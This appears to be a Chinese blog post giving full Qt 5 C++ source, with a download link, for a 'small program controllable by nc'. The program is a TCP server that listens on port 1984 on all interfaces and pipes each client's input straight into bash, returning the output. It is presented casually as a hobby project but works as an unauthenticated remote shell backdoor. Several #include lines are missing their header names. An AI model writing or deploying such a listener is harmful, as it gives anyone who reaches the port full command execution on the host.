随手写的小程序2 一个nc能控制的程序

小程序源代码 下载: https://download.csdn.net/download/nn_84/88846445?spm=1001.2014.3001.5501

请下载 Qt 5.12.12

server.pro :

QT += gui network

CONFIG += c++11 console
CONFIG -= app_bundle

# You can make your code fail to compile if it uses deprecated APIs.
# In order to do so, uncomment the following line.
#DEFINES += QT_DISABLE_DEPRECATED_BEFORE=0x060000    # disables all the APIs deprecated before Qt 6.0.0

SOURCES += \
        main.cpp \
        mythread.cpp \
        server.cpp

# Default rules for deployment.
qnx: target.path = /tmp/$${TARGET}/bin
else: unix:!android: target.path = /opt/$${TARGET}/bin
!isEmpty(target.path): INSTALLS += target

HEADERS += \
    mythread.h \
    server.h

mythread.h :

#ifndef MYTHREAD_H
#define MYTHREAD_H

#include 
#include 
#include 
#include 

class myThread : public QThread
{
    Q_OBJECT
public:
    myThread(qintptr ID,QObject *parent = 0);
    qintptr sockethandle;
    QTcpSocket *socket;
    void run();
    QProcess *process;

public slots:
    void readyRead();
    void disconnected();

    void fun();
};

#endif // MYTHREAD_H

server.h :

#ifndef SERVER_H
#define SERVER_H

#include 
#include "mythread.h"

class Server : public QTcpServer
{
public:
    Server();
    void startServer();

protected:
    void incomingConnection(qintptr handle);
};

#endif // SERVER_H

mythread.cpp :

#include "mythread.h"

myThread::myThread(qintptr ID,QObject *parent):QThread(parent)
{
    sockethandle = ID;
    process = new QProcess(this);
    connect(process,SIGNAL(readyReadStandardOutput()),this,SLOT(fun()));
}

void myThread::run()
{
    qDebug() << sockethandle;
    socket = new QTcpSocket(this);
    socket->setSocketDescriptor(sockethandle);
    connect(socket,SIGNAL(readyRead()),this,SLOT(readyRead()));
    connect(socket,SIGNAL(disconnected()),this,SLOT(disconnected()));
    exec();
}

void myThread::readyRead()
{
    QByteArray data = socket->readAll();
    qDebug() << data;
    process->start("bash");
    process->write(data);
}

void myThread::disconnected()
{
    socket->deleteLater();
    exit(0);
}

void myThread::fun()
{
    socket->write(process->readAllStandardOutput().data());
}

server.cpp :

#include "server.h"

Server::Server()
{

}

void Server::incomingConnection(qintptr handle)
{
    myThread *thread = new myThread(handle);
    thread->start();
}

void Server::startServer()
{
    if(this->listen(QHostAddress::Any,1984)){qDebug() << "Listen ...";}
}

main.cpp :

#include 
#include "server.h"

int main(int argc, char *argv[])
{
    QCoreApplication a(argc, argv);
    Server ser;
    ser.startServer();
    return a.exec();
}

你可能感兴趣的:(小程序,qt5)